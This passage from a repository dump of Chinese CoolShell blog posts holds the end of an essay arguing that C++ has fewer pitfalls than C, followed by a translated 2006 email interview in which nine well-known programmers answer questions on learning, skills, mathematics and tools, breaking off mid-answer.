用继承多态和RTTI解决了C中乱转struct指针和使用函数指针的诸多让代码ugly的问题。\n\n\n* 用RAII，智能指针的方式，解决了C语言中因为出现需要释放资源的那些非常ugly的代码的问题。\n\n\n* 用OO和GP解决各种C语言中用函数指针，对指针乱转型，及一大砣if-else搞出来的ugly的泛型。\n\n\n* 用STL解决了C语言中算法和数据结构的N多种坑。\n\n\n（注意：上面我没有提重载运算符和异常，前者写出来的代码并不易读和易维护（参看《[恐怖的C++语言](https://coolshell.cn/articles/1724.html \"恐怖的C++语言\")》后面的那个示例），坑也多，后者并不成熟（相对于Java的异常），但是我们需要知道try-catch这种方式比传统的不断地判断函数返回值和errno形成的大量的if-else在代码可读性上要好很多）\n上述的这些东西填了不知有多少的C语言编程和维护的坑。**少用指针，多用引用，试试autoptr，用用封装，继承，多态和函数重载…… 你面对的坑只会比C少，不会多。**\n\n\n#### C++的坑有多少？\n\n\nC++的坑真的不多，如果你能花两到三周的时候读一下《[Effecitve C++](http://book.douban.com/subject/1231590/)》里的那50多个条款，你就知道C++里的坑并不多，而且，有很多条款告诉我们C++是怎么解决C的坑的。然后，你可以读读《[Exceptional C++](http://book.douban.com/subject/1967356/)》和《[More Exceptional C++](http://book.douban.com/subject/1244943/)》，你可以了解一下C++各种问题的解决方法和一些常见的经典错误。\n\n\n当然，C++在解决了很多C语的坑的同时，也因为OO和泛型又引入了一些坑。消一些，加一些，我个人感觉上总体上只比C多10%左右吧。但是你有了开发速度更快，代码更易读，更易维护的500%的利益。\n\n\n另外，不可否认的是，C++中的代码出了错误，有时候很难搞，而且似乎用C++的人会觉得C++更容易出错？我觉得主要是下面几个原因：\n\n\n* **C和C++都没学好，大多数人用C++写C，所以，C的坑和C++的坑合并了。**\n\n\n* ****C++太灵活了，想怎么搞就怎么搞，所以，各种不经意地滥用和乱搞。****\n\n\n另外，C++的编译对标准C++的实现各异，支持地也千差万别，所以会有一些比较奇怪的问题，但是如果你一般用用C++的封装，继承，多态，以及namespace，const, refernece,  inline, templete, overloap, autoptr，还有一些OO 模式，并不会出现奇怪的问题。\n\n\n而对于STL中的各种坑，我觉得是程序员们还对GP（泛型编程）理解得还不够，STL是泛型编程的顶级实践！属于是大师级的作品，一般人很难理解。必需承认STL写出来的代码和编译错误的确相当复杂晦涩，太难懂了。这也是C++的一个诟病。\n\n\n这和[Linus说的一样](https://coolshell.cn/articles/1724.html) —— “**C++是一门很恐怖的语言，而比它更恐怖的是很多不合格的程序员在使用着它**”。注意我飘红了“**很多不合格的程序员**”！\n\n\n我觉得C++并不适合初级程序员使用，C++只适合高级程序员使用（参看《[21天学好C++](https://coolshell.cn/articles/2250.html \"“21天教你学会C++”\")》和《[C++学习自信心曲线](https://coolshell.cn/articles/2287.html \"C++ 程序员自信心曲线图\")》），正如《[Why C++](https://coolshell.cn/articles/6548.html \"Why C++ ? 王者归来\")》中说的，C++适合那些对开发维护效率和系统性能同时关注的高级程序员使用。\n\n\n**这就好像飞机一样，开飞机很难，开飞机要注意的东西太多太多，对驾驶员的要求很高，但你不能说飞机这个工具很烂，开飞机的坑太多。**（注：我这里并不是说C++是飞机，C是汽车，C++和C的差距，比飞机到汽车的差距少太多太多，这里主要是类比，我们对待C++语言的心态！）\n\n\n#### C++的初衷\n\n\n理解C++设计的最佳读本是《[C++演化和设计](http://book.douban.com/subject/1096216/)》，在这本书中Stroustrup说了些事：\n\n\n1）Stroustrup对C是非常欣赏，**实际上早期C++许多的工作是对于C的强化和净化**，并把完全兼容C作为强制性要求。C89、C99中许多的改进正是从C++中所引进。可见，Stroustrup对C语言的贡献非常之大。**今天不管你对C++怎么看，C++的确扩展和进化了C，对C造成了深远的影响**。\n\n\n2）Stroustrup对于C的抱怨主要来源于两个方面——在C++兼容C的过程中遇到了不少设计实现上的麻烦；以及守旧的K&R C程序员对Stroustrup的批评。**很多人说C++的恶梦就是要去兼容于C，这并不无道理（**Java就干的比C++彻底得多**）**，但这并不是Stroustrup考虑的，Stroustrup一边在使尽浑身解数来兼容C，另一方面在拼命地优化C。\n\n\n3）Stroustrup在书中直接说，C++最大的竞争对手正是C，他的目的就是——**C能做到的，C++也必须做到，而且要做的更好**。大家觉得是不是做到了？有多少做到了，有多少还没有做到？\n\n\n4）对于同时关注的运行效率和开发效率的程序员，Stroustrup多次强调C++的目标是——“**在保证效率与C语言相当的情况下，加强程序的组织性；能保证同样功能的程序，C++更短小**”，**这正是浅封装的核心思想**。而不是过渡设计的OO。（参看：[面向对象是个骗局](https://coolshell.cn/articles/3036.html \"面向对象是个骗局？！\")）\n\n\n5）这本书中举了很多例子来回应那些批评C++有运行性能问题的人。C++在其第二个版本中，引入了虚函数机制，这是C++效率最大的瓶颈了，但我个人认为虚函数就是多了一次加法运算，但让我们的代码能有更好的组织，极大增加了程序的阅读和降底了维护成本。（注：Lippman的《[深入探索C++对象模型](http://book.douban.com/subject/1091086/)》也说明了C++不比C的程序在运行性能低。Bruce的《[Think in C++](http://book.douban.com/subject/1057170/)》也说C++和C的性能相差只有5%）\n\n\n6）这本书中还讲了一些C++的痛苦的取舍，印象最深的就是多重继承，提出，拿掉，再被提出，反复很多次，大家在得与失中不断地辩论和取舍。这个过程让我最大的收获是——a) **对于任何一种设计都有好有坏，都只能偏重一方**，b) **完全否定式的批评是不好的心态，好的心态应该是建设性地批评**。\n\n\n#### 我对C++的感情\n\n\n我先说说我学C++的经历。\n\n\n我毕业时，是直接从C跳过C++学Java的，但是**学Java的时候，不知道为什么Java要设计成这样，只好回头看C++，结果学C++的时候又有很多不懂，又只得回头看C**，**最后发现，C -> C++ -> Java的过程，就是C++填C的坑，Java填C++的坑的过程**。\n\n\n注，下面这些东西可以看到Java在填C/C++坑：\n\n\n* Java彻底废弃了指针（指针这个东西，绝对让这个社会有几百亿的损失），使用引用。\n* Java用GC解决了C++的各种内存问题的诟病，当然也带来了GC的问题，不过功大于过。\n* Java对异常的支持比C++更严格，让编程更方便了。\n* Java没有像C++那样的template/macro/函数对象/操作符重载，泛型太晦涩，用OO更容易一些。\n* Java改进了C++的构造、析构、拷贝构造、赋值。\n* Java对完全抛弃了C/C++这种面向过程的编程方式，并废弃了多重继承，更OO（如：用接口来代替多重继承）\n* Java比较彻底地解决了C/C++自称多年的跨平台技术。\n* Java的反射机制把这个语言提升了一个高度，在这个上面可以构建各种高级用法。\n* C/C++没有一些比较好的类库，比如UI，线程 ，I/O，字符串处理等。（C++0x补充了一些）\n* 等等……\n\n\n当然时代还在前进，这个演变的过程还在C#和Go上体现着。不过我学习了C -> C++  -> Java这个填坑演进的过程，让我明白了很多东西：\n\n\n* 我明白了OO是怎么一回事，重要的是明白了OO的封装，继承，和多态是怎么实现的。（参看我以前写过的《[C++虚函数表解析](https://coolshell.cn/articles/12165.html \"C++ 虚函数表解析\")》和《[C++对象内存布局](https://coolshell.cn/articles/12176.html \"C++ 对象的内存布局\")》）\n* 我明白了STL的泛型编程和Java的各种花哨的技术是怎么一回事，以及那些很花哨的编程方法和技术。\n* 我明白了C，C++，Java的各中坑，这就好像玩火一样，我知道怎么玩火不会烧身了。\n\n\n**我从这个学习过程中得到的最大的收获不是语言本身，而是各式各样的编程技术和方法，和技术的演进的过程，这比语言本身更重要**！（**在这个角度上学习，你看到的不是一个又一个的坑，你看到的是——各式各样让你可以爬得更高的梯子**）\n\n\n我对C++的感情有三个过程：先是喜欢地要死，然后是恨地要死，现在的又爱又恨，爱的是这个语言，恨的是很多不合格的人在滥用和凌辱它。\n\n\n#### C++的未来\n\n\nC++语言发展大概可以分为三个阶段（[摘自Wikipedia](http://zh.wikipedia.org/wiki/C%2B%2B)）：\n\n\n* 第一阶段从80年代到1995年。这一阶段C++语言基本上是传统类型上的面向对象语言，并且凭借著接近C语言的效率，在工业界使用的开发语言中占据了相当大份额；\n* 第二阶段从1995年到2000年，这一阶段由于标准模板库（STL）和后来的Boost等程式库的出现，泛型程式设计在C++中占据了越来越多的比重性。当然，同时由于Java、C#等语言的出现和硬件价格的大规模下降，C++受到了一定的冲击；\n* 第三阶段从2000年至今，由于以Loki、MPL等程式库为代表的产生式编程和模板元编程的出现，C++出现了发展历史上又一个新的高峰，这些新技术的出现以及和原有技术的融合，使C++已经成为当今主流程式设计语言中最复杂的一员。\n\n\n在《[Why C++? 王者归来](https://coolshell.cn/articles/6548.html \"Why C++ ? 王者归来\")》中说了 ，性能主要就是要省电，省电就是省钱，在数据中心还不明显，在手机上就更明显了，这就是为什么Android 支持C++的原因。所以，在NB的电池或是能源出现之前，**如果你需要注重程序的运行性能和开发效率，并更关注程序的运性能，那么，应该首选 C++**。这就是iOS开发也支持C++的原因。\n\n\n![](../wp-content/uploads/2012/02/WhyCPP.04.jpg)\n\n\n今天的C++11中不但有更多更不错的东西，而且，还填了更多原来C++的坑。（参看：[C++11 Wiki](http://zh.wikipedia.org/wiki/C%2B%2B11)，[C++ 11的主要特性](https://coolshell.cn/articles/5265.html \"C++11 中值得关注的几大变化（详解）\")）\n\n\n ![](../wp-content/uploads/2012/02/WhyCPP.11.jpg)\n\n\n#### **总结**\n\n\n* **C++并不完美，但学C++必然让你受益无穷。**\n\n\n* **是那些不合格的、想对编程速成的程序员让C++变得坑多。**\n\n\n最后，非常感谢能和“**@简悦云风**”，“**@淘宝诸霸**”，“**@Laruence**”一起讨论这个问题！无论你们的观点怎么样，我都和你们“在一起”，嘿嘿嘿……\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\nThe post [C++的坑真的多吗？](https://coolshell.cn/articles/7992.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-9-14 对九个超级程序员的采访.md",
    "content": "---\nlayout: post\ntitle: 对九个超级程序员的采访\ndate: 2012/9/14/ 0:29:54\nupdated: 2012/9/14/ 0:29:54\nstatus: publish\npublished: true\ntype: post\n---\n\n原文：《[Q&A With Nine Great Programmers](http://www.dodgycoder.net/2012/09/q-with-nine-great-programmers.html)》时间有限，我只能粗译，难免错误。\n\n\n**这篇访谈源自2006年，最先发布在波兰程序员 Jaroslaw “sztywny” Rzeszótko (AKA “Stiff”) 的博客上。但是这篇博文现在找不到了。非常感谢他能授权我重新发布这个博文。**\n\n\n*在一个炎热无聊的下午，我突发奇想。我想通过电子邮件的方式对那些我非常感兴趣和非常敬重的程序员问10个问题。准备这10个问题我只花了5分钟，这些都是我个人想问他们的问题，所以，我基本上没想太多要问他们什么。最后两个问题和编程没有什么关系，我就是想问题这些人的一些兴趣爱好。另外，不是每一个人都想回答我的，这是我第一次做“访谈”，所以，我犯了一些错误，一些问题没有得到回答。不管怎么样，我得到了很多很有意思的内容，所以，这对我绝对是一次很有意义的经历。*  \n\n\n\n\n*并不是每一个人都回了我的邮件，也并不是每一个人都同意回答我的这些问题，也许在我发布这篇文章后我会得到那些回答，但是我已经迫不及待想把这些东西发布了，所以，我可能会更新这篇文章（更新：2006年3月8日，我收到了*Bjarne Stroustrup的回信*）*\n\n\n*— Jaroslaw*\n\n\n#### 介绍\n\n\n* [**Linus Torvalds**](http://en.wikipedia.org/wiki/Linus_Torvalds) – [Linux kernel](http://linux.org/) 作者。\n\n\n* [**Dave Thomas**](http://en.wikipedia.org/wiki/Dave_Thomas_(programmer)) – “Pragmatic Programmer”(注：[douban](http://book.douban.com/subject/1417047/)) 和 “Programming Ruby”(注：[douban](http://book.douban.com/subject/1422056/)) 以及其它一些优秀书籍的作者。 你可以在 [这里](http://pragdave.pragprog.com/) 读读他对编程的一些想法。\n\n\n* [**David Heinemeier Hansson**](http://en.wikipedia.org/wiki/David_Heinemeier_Hansson) –   [Rails Framework](http://rubyonrails.org/) 作者- 一个目前最新最热的Web开发框架。他的blog在 [这里](http://david.heinemeierhansson.com/). （陈皓注：他也是[37signals](http://en.wikipedia.org/wiki/37signals \"37signals\")的领导人之一）\n\n\n* [**Steve Yegge**](http://en.wikipedia.org/wiki/Steve_Yegge) – 他可能并不那么知名，但是他给了很多有意思的回答。他有一个很火的关于编程的 [blog](http://steve-yegge.blogspot.com/)，他也是游戏 “Wyvern” 的作者。（陈皓注：他最火的是去年在google+上[对google和amazon的吐槽](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的长篇大论\")，06年他应该在google了）\n\n\n* [**Peter Norvig**](http://en.wikipedia.org/wiki/Peter_Norvig) – Research Director at Google, 知名的 Lisper，AI书的著名作家，[个人主页](http://norvig.com/)。\n\n\n* [**Guido Van Rossum**](http://en.wikipedia.org/wiki/Guido_Van_Rossum) – [Python](http://python.org/) 发明者。\n\n\n* [**Bjarne Stroustrup**](http://en.wikipedia.org/wiki/Bjarne_Stroustrup) – C++发明者， [个人主页](http://www.stroustrup.com/)。\n\n\n* **[James Gosling](http://en.wikipedia.org/wiki/James_Gosling)** –  [Java](http://java.sun.com/) 发明者。\n\n\n* **[Tim Bray](http://en.wikipedia.org/wiki/Tim_bray)** –  XML 和 Atom 规格说明书作者之一 [个人博客](http://www.tbray.org/ongoing/) 。\n\n\n\n#### Q 1: 你是怎么学编程的？是从学校里学的吗？或者你没有上过学:) ？\n\n\n***Steve Yegge***\n\n\n在我17岁的时候，我在HP的计算器中用他们的RPN 栈语言自学编程的。在这之前，我尝试过学习编程一两次，但都没有学成。HP 28c 和 48g 的科学计算器是一个很牛的东西，而且还有不错的文档。我搞了一本3D图形的书，并很费力地把其中的Pascal语言转成RPN栈语言，并用48g写了一个3D的线框图渲染图。运行的还不错，在我买了PC和Turbo Pascal之后，我开始认真地学习编程。在我进入大学计算机科学专业之前，我已经是一个不错的程序员了。\n\n\n我在华盛顿大学拿到了计算机科学学位，这绝对是有价值的，所以，我建议所有的程序员都应该得到计算机科学专业的学位。\n\n\n***Linus Torvalds***\n\n\n我没有在学校里学过编程，我在主要是读我自己想读的书，或是就直接去编程 (一开始在 [Commodore VIC-20](http://en.wikipedia.org/wiki/Commodore_VIC-20) 学编程， 然后是 [Sinclair QL](http://en.wikipedia.org/wiki/Sinclair_QL)上编程)。\n\n\n当然，我觉得上大学非常有用。我没有去一个工科大学，我上了赫尔辛基大学，这是一个比较偏理论的大学，所以，那里的教育并没有那么多的编程的东西（编程只是很少一部分），这里大多数的课程都倾向于教一些基础概念的东西，如：复杂性分析。看上去很无聊，甚至有点浪费时间，但是我还是觉得这些课有用，我对大多数课都还比较enjoy。所以，我觉得我可能在这些方面是一个比较好的程序员。\n\n\n***David Heinemeier Hansson***\n\n\n我学编程是从用HTML做我的第一个网页开始的。那时，我想当我的网页能动态地显示一些内容，所以，我选择了ASP和PHP。在做完这个网页后，我知道了怎么去编程，于是我开始我的计算机科学和商业管理学位的学习。\n\n\n***Peter Norvig***\n\n\n我是从高中和大学课程中学编程的，但是我还是觉得我自己学得更多。\n\n\n***Dave Thomas***\n\n\n我是在高中学编程的。我完全地迷住了，我对编程爱得无法自拔，然后，我开始挑选那些提供软件开发课程的大学。最终，我去了伦敦大学的帝国学院。第二年我就开始学习软件开发的课程了，那绝对是非凡的，学生和教员在一起工作把教材做得更好，每一个人都可以从中学到很多。这些课程给了我难以置信和非常雄厚的软件开发背景。我在那里读到了博士，最后去创业了。\n\n\n关于“我是怎么学编程的”这个问题，我的回答是“我现在还在学编程”。我认为好的程序员一生都在学编程。这并不是去学一门语言或是一个代码库，好的程序员会对他们的编程技艺一年又一年地精益求精。\n\n\n***Guido Van Rossum***\n\n\n我去的那个大学有一个大型主机和很多不同的计算机课程。这对我很重要。\n\n\n***James Gosling***\n\n\n起初，我是自学的。在我去上大学之前，我就找到了一份程序员的工作。但是我很高兴我去了大学，在那里有很多乐趣，最终我学到了博士。\n\n\n***Bjarne Stroustrup***\n\n\n我先上的是Aarhus大学， 然后是 剑桥大学(Cambridge)，这两个大学教了我很多很有用的东西，这些东西为了以后的工作打下了基础。另外，我对编程和钱的关系学得非常好——知道了真实世界的问题，正确性，维护性，准时交付，等等，这些比教育可能更重要。\n\n\n***Tim Bray***\n\n\n我本来想去做一个数学老师的。但是，那个学数学的大学要我去学几个计算机的课。\n\n\n#### Q 2: 你们觉得对程序员最重要的事是什么？\n\n\n***Steve Yegge***\n\n\n沟通能力（写和说）。除非你可以让你的想法更有效率地传递出去，否则你不可能做得比编程更多的事。程序员应该疯狂地阅读，锻炼写作能力，参加一些写作培训课程，甚至锻炼在公开场合演讲的能力。\n\n\n***Linus Torvalds***\n\n\nIt’s a thing I call “taste”. 有一件事，我把它叫做“品味”。\n\n\n我倾向于不从熟练程度来评判那些和我工作过的人。这些人能非常艰苦地写出很多代码，但是我想从他们对别人的代码的反应做出评判，这样我们就可以明白他们自己写的代码怎么样，知道他们使用的方法怎么样。他们对别人的评判还告诉我，他们是不是有好的“品味”。是这样的，如果一个人没有“好的品味”，那么他一般不会很好的评判他人的代码，他自己写的代码通常也不会很好。\n\n\n哦，这并不只是唯一的事。还有一件事，尤其在开源项目里，那是他是否有能力能和别人进行简单的沟通，告诉别人他要干什么，怎么干。这个能力可以告诉别人为什么你干的事是非常重要的，并不是所有的人都有这个能力。\n\n\n也就是说，有一些人可以写出很不错的代码，但他们并不一定能解释这些代码，他们也并不一定有好的品味，但是代码可以运行得不错。有时，你需要另一个人（有那种不错的品味的人）把他的代码转成更好的形式。也就是说，任何一个程序员都需要那种可以用清晰的代码来解决复杂问题的基础能力。\n\n\n***David Heinemeier Hansson***\n\n\n很强的对有价值的事的感觉。你可以问问自己这个问题你有没有这种能力：我现在做的这个事值不值得做？很多程序员浪费了如大海一样的时间去做一些无意义的事。\n\n\n***Peter Norvig***\n\n\n我不觉得只有一个，如果要我说一个的话，我说是“专注”。\n\n\n***Dave Thomas***\n\n\n热情。\n\n\n***Guido Van Rossum***\n\n\n你的问题很难回答啊:-) 我猜，如果程序员会在早晨煎个鸡蛋做早餐，那真是无价的能力。\n\n\n***James Gosling***\n\n\n自我激发。你需要全身心地投入到你要做的事中。\n\n\n***Bjarne Stroustrup***\n\n\n把事想清楚的能力：程序必需要能清楚地理解问题并能清楚地表述解决方案。\n\n\n***Tim Bray***\n\n\n能为自己的直觉提供证据的能力。\n\n\n#### Q 3: 你是否认为数学和/或物理是一种很重要的编程技能？为什么？\n\n\n***Steve Yegge***\n\n\n数学有很多的分支和程序员相关，他们是“离散数学”和“具体数学”。这些分支包括的学科有，概率论，组合数学，图论，归纳证明，和其它有用的东西。我会鼓励所有的程序员都去学习离散数学，无论能学多少，因为这总比什么都不懂强。\n\n\n对于传统的数学，我也不经常用，但是我需要的时候这些数学知识会很管用。例如，在我之前的工作中我就用到了微积分。我需要估计每个小时中某服务的高峰时间的流量负载，所以，他的负载是跟着太阳走的就像一个正弦曲线一样。最简单的方式就是把每个小时的负载曲线给整合起来。如果我不知道微积分，我就不知道怎么更为准确地估计。\n\n\n当年我在开发我的Wyvern游戏的时候，我的平面几何的知识对我非常有帮助。而且经常使用代数和线性代数的知识。但我很少在工作中使用三角学或微分方程，微积分同样也很少。\n\n\n我想说，简单的数学基础让我的技能比一般程序员好过5%到10%。如果我了解更多的数学，我确信我会比今天做得更好，所以，我每周都会花几个小时学习数学。\n\n\n我喜欢物理，我还在学习物理，我会花我一生去理解量子力学。但是我个却没有发现物理对我的程序员工作有多有用。当然，如果我从事一些和物理相关的工作，可能会有用，例如：3D游戏编程，或是某种物理特性仿真。\n\n\n***Linus Torvalds***\n\n\n我个人认为有很强的数学背景是一件好事。但我不确信物理是不是这样的，但是我深信懂数学的人会让你成为一个更好的程序员。这些智力模型都是相通的。\n\n\n***David Heinemeier Hansson***\n\n\n根本没用。至少对业务编程和Web应用来说没用。但是数学可能对一个人的写作有很重要的帮助。\n\n\n***Peter Norvig***\n\n\n是的。很多相法都是从数学来的：归纳，递归，逻辑，等等。\n\n\n***Dave Thomas***\n\n\n也许吧。但老实说，我没见到过懂这些学科和好的程序员有很大的相关性。\n\n\n然而，我见过有音乐背景和好的编程技能有很强的相关性。我不知道这为什么，但是我怀疑大脑中的某个区域可以让人即可以写出好的音乐，也可以写出好的代码。（陈皓注：*[@Sir阿怪](http://www.weibo.com/n/Sir%E9%98%BF%E6%80%AA)*貌似就是这个例子）\n\n\n***Guido Van Rossum***\n\n\n数学，当然（对于一些学科是很重要的，我不关心微分方程，但是代数和逻辑学是很重要的），物理，我不觉得对编程技能有关，当然物理在其它很多地方很有意思。\n\n\n***James Gosling***\n\n\n当然！数学教会了我逻辑和推导……让我有了一双懂分析的眼睛。当我们分析算法的时候，数学是无法被取代的。\n\n\n***Bjarne Stroustrup***\n\n\n这要看程序员自己和项目性质了。以前的数学很有用，物理一般，但是学好物理是是学习应用数学最好的一条路。\n\n\n***Tim Bray***\n\n\n对我来说，在我的编程生涯中我从来都没有用过大学里教的数学。\n\n\n#### Q 4: 关于编程，你们认为接下来的大事是什么？X-Oriented编程，Y语言，量子电脑 ？\n\n\n***Steve Yegge***\n\n\n我认为Web编程会逐渐变成最最重要的客户端编程。而对于原来传统的客端端编程都会被废弃，如： GTK, Java Swing/SWT, Qt, 当然，所有的和平台有关的东西，例如 Cocoa 和 Win32/MFC/等。\n\n\n当然，这不会一晚上就发生了。这会在第一个十年内缓慢地发生，而在第二个十年内，Web Apps最终会胜利。工具，语言，协议，和浏览器技术都会进步得非常快，并会完全超出你今天能干的事。每一年都会向前进一步，而从今天开始，我会最终决定把我所有的应用开发全部切换到基于浏览器的应用。（陈皓注：我也是这么认为的，参看《[来信，创业，移动互联网](https://coolshell.cn/articles/5815.html \"来信， 创业 和 移动互联网\")》）\n\n\n微软和苹果最终不愿意这个事发生，所以，触发这个事的第一步会是一个开源的浏览器（如：Firefox）开始到了支配市场的地位，然后会出现某种Firefox的杀手级应用（这种杀手级应用可能会像iTunes一样，所有的人都会用它，只需要下载Firefox）\n\n\n***Linus Torvalds***\n\n\n我并不认为我们会看到一个“大的跳跃”。我们只会看到很多的工作帮助我们把那些沉闷辛苦的工作变得更简单——会有一个更高级别的语言，也许把简单的数据库集成到语言中来会是其中最主要一个。\n\n\n例如，我个人相信“Visual Basic”在编程方面比“面向对象”做得更多。当然，人们都在取笑VB是一个很烂的编程语言，并且人们在谈论OO语言都十多年了。但我还觉得不是这样的，Visual Basic 不是一个好的语言，但是我觉得VB那简单的数据库接口比OO更重要。\n\n\n所以，我认为会语言有很多的改进，并且，硬件的改进会让编程更容易，但我并不期望会有巨大的生产力或是革命性的改进。\n\n\n至少，你不会开始搞真正的AI的东西，我也不认为真的AI会变成某种你不需要编程的东西。\n\n\n***David Heinemeier Hansson***\n\n\n我从不试图预测未来。我也不相信命运一说。最好预测未来的方式就是去实现未来。\n\n\n***Peter Norvig***\n\n\n大规模的分布式处理\n\n\n***Dave Thomas***\n\n\n下一个最牛的事会被再下一个最牛的事所掩盖，然后再被再再下一个所掩盖，再再再下一个所掩盖……。这是一件没完没了的事，所以，我并不会试图去找最牛的事，因为这会让人们忘了那些最真实的问题：把基本的东西做对。我们要让用户更满意，专注于交付有价值的东西，自豪于我们做的事。一个程序员可以使用很多工具把这些事做得更好，而不是去追逐时尚和流行。\n\n\n***Guido Van Rossum***\n\n\n对不起，我没有那么多水晶球。我CGI被发明了5年后预测过它 :-)\n\n\n***James Gosling***\n\n\n有两个事是我现在最关心的，那就是要对付并行和复杂。\n\n\n***Bjarne Stroustrup***\n\n\n我不知道，我也不愿猜。\n\n\n***Tim Bray***\n\n\n不知道。\n\n\n#### Q 5: 如果你有3个月学一个相对较新的技术，你会学什么？\n\n\n***Steve Yegge***\n\n\n我的确有3个月的业余时间，我准备学一下 Dojo (<http://dojotoolkit.org>) 和高级 AJAX 及 DHTML。我会通过开发一个相当牛的Web应用来学习他们。Dojo 真的酷，并且我确信它会越来越好。\n\n\n***Linus Torvalds***\n\n\n嗯，我真的很爱做 FPGA（可编程芯片），但我部是太忙了而不是坐来来开始学习。我喜爱和硬件打交道：很明显这个原因是因为我最终在做操作系统，因为操作系统（除了编译器）基本上都是在和硬件打交道，但我没有真正地自己去设计和做一个硬件。\n\n\n***David Heinemeier Hansson***\n\n\nMac 的 Cocoa 编程\n\n\n***Peter Norvig***\n\n\n我想把 Javascript 学得更好，~~然也~~当然也想学 flash.\n\n\n***Dave Thomas***\n\n\n如果“新”是对于我来说，那么我会去学钢琴课。\n\n\n如果“新”是说技术，我猜 我会选择学习某种和为残疾人服务的有关的技术。\n\n\n***Guido Van Rossum***\n\n\n单板滑雪。\n\n\n***James Gosling***\n\n\n搞点有乐趣的东西，我会学习最新的3D渲染技术。我可能会写一个光子映射渲染器。\n\n\n***Bjarne Stroustrup***\n\n\n3个月只有很少的东西你可以学，我觉得你只能参加某个成熟领域的培训。\n\n\n***Tim Bray***\n\n\n安全，加密，数字签名，身份标识，等等。对我来说，从没学过这些东西对我来说是个很大的问题。\n\n\n#### Q 6: 你们觉得如何让一些程序员可能有超过其它程序员10倍或100倍的生产力？\n\n\n***Steve Yegge***\n\n\n我想你应该考虑一下为什么不是让所有的程序员都一样牛。托马斯爱迪生有一句关于天才的名言也许会给你一些启示。\n\n\n***Linus Torvalds***\n\n\n我真的不知道，我想，一些人之所以更牛是因为他们可以专注于那些重要的事，而更多的只不过是在应付。那些我所知道的真的很牛的程序员从很年轻的时候就在做事了。\n\n\n***David Heinemeier Hansson***\n\n\n把难题变简单的能力。\n\n\n***Peter Norvig***\n\n\n把整体问题一次性放入大脑的能力。\n\n\n***Dave Thomas***\n\n\n他们关心他们做的事。\n\n\n***Guido Van Rossum***\n\n\n大脑结构基因不同。\n\n\n***James Gosling***\n\n\n他们知道他们要做什么，他们不并不急于仓促行事。他们有他们要做的事的整个蓝图。\n\n\n***Bjarne Stroustrup***\n\n\n首先，缺少足够的职业培训，或基础不够。其次，这些人要即聪明（那种可以把事情想清楚，直达核心的能力），又有经验，并有使用工具的知识。编程需要把理论和实践结合起来 – 并不是使用没有实际业务的知识。\n\n\n***Tim Bray***\n\n\n令人惊讶的思维改变。\n\n\n#### Q 7: 什么工具是你的最爱（操作系统，编程/脚本语言，文本编辑器，版本管理，shell，数据库，或其它没它你活不了的工具），为什么不是别的？\n\n\n***Steve Yegge***\n\n\n操作系统： Unix! 我用Linux，cygwin，和 darwin。你无法打败那些高效的工具。每一个程序员都应该学习使用/bin和/usr/bin下的所有命令。\n\n\n脚本语言：Ruby。我几乎对所有的重要的脚本语言都很熟悉： Perl, Python, Tcl, Lua, Awk, Bash, 和一些我忘了的。但是我太懒了，而Ruby是目前所有脚本语言中最简单的，它应该是天堂制造的。\n\n\n编程语言：没有一个我喜欢的，我觉得所有的编程语言都很扯。我倾向于Java，因为它很强，可跨平台，有多不错的工具和类库。但是Java未来会进化或是灭亡，Java还没有好到可以永远保持其领先地位。\n\n\n文本编辑器：Emacs，因为这是迄今最好的编辑器。\n\n\n版本管理：SVN，Perforce更好一些，但是也很贵。\n\n\nShell脚本： Bash, 因为我太懒了去学一个更好的。\n\n\n数据库： 当然是MySQL，没有之一。\n\n\n其它：我发现GIMP是无价的，但也是令人恼~~炎~~火的。我用这个东西好几年了，但什么也没干，但是我没它活不了。很讽刺吧。Firefox 越来越是我最重要的工具。如果让我去用IE和Safari，我会有严重的窒息感。\n\n\n注：所有的这些工具 (Unix, Emacs, Firefox, GIMP, MySQL, Bash, SVN, Perforce) 都有一个共同点：他们是可扩展的。例如：他们都有可编程的API。伟大的程序员知道怎么编写他们的工具，而不只是去使用。\n\n\n***Linus Torvalds***\n\n\n实际上，我最终也没有用过几个工具，而我却花了一些时间让这些工具为我工作。最大的事是我自己写了个操作系统，我也自己写了个版本管理系统（git），我用的文本编辑器是 micro-emacs – 最终我也定制和扩展了它。\n\n\n除了上面三个，其它的东西，我深度关心我的邮件阅读软件，我使用“pine”，并不是因为它是史上最好的邮件阅读软件，因为我习惯了，用它我会有最低限度的大惊小怪。\n\n\n***David Heinemeier Hansson***\n\n\nOS X, TextMate, Ruby, Subversion, MySQL. 这些组合让我很快乐。我希望那些有好的品味的专注于重要的事的工具。\n\n\n***Peter Norvig***\n\n\n我不喜欢那三大操作系统 – Windows, Mac, Linux。我喜欢 Python 和 Lisp. Emacs.\n\n\n***Dave Thomas***\n\n\n在使用Linux10年后我转到Mac平台有两年多了。Mac并不见得有多好，但是它不需要很牛的技术，也不需要经常维护，这让我可以让我更专心得使用它。\n\n\n我并不是一个单一工具的信仰者，我喜欢换来换去的，这样可以让我有更多的经历。现在，我使用 OSX, Emacs, TextMate, Rails, Ruby, SVN, CVS, Rake, make, xsltproc, TeX, MySQL, 